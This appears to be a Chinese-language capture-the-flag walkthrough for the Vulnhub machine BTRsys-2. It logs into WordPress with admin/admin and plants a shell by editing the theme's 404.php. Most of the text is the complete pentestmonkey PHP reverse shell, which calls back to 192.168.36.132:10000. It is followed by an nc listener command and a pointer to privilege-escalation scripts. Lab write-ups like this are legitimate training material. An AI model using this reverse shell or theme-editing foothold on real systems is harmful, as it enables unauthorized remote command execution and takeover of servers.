BTRsys-2

来源：Vulnhub

难度：Easy

fscan扫描可知开放了ftp和网页端，其中ftp允许匿名登录，但尝试登陆后没有文件，所以先将注意力放在web页面，对其进行目录扫描发现robots.txt，并发现隐藏的/wordpress目录，访问发现是wordpress博客，在页面中找到登录地址，使用弱口令admin/admin进入后台
在后台一番查找，尝试以文件上传等方式getshell均失败，看提示得知可以通过修改博客的主题外观插件来getshell，我们先修改其主题外观插件的404页面
使用在线生成shell网站：https://shell.nctry.com/
生成php反弹shell：

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.36.132';
$port = 10000;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

网站上还有很多其他的反弹shell，实战时可根据自己需求选择，修改404页面结果如下：

我们使用nc -lvnp 10000先开启监听，然后访问一个不存在的页面以触发404页面
官方做法：访问插件404页面路径位置 “/wp-content/themes/twentyfourteen/404.php”
即可获得一个反弹shell
随后使用两个经典linux提权脚本：
1.linux-exploit-suggester
https://github.com/The-Z-Labs/linux-exploit-suggester
2.linpeas.sh
https://github.com/peass-ng/PEASS-ng/releases
按照脚本给出的提权建议一个个尝试即可成功提权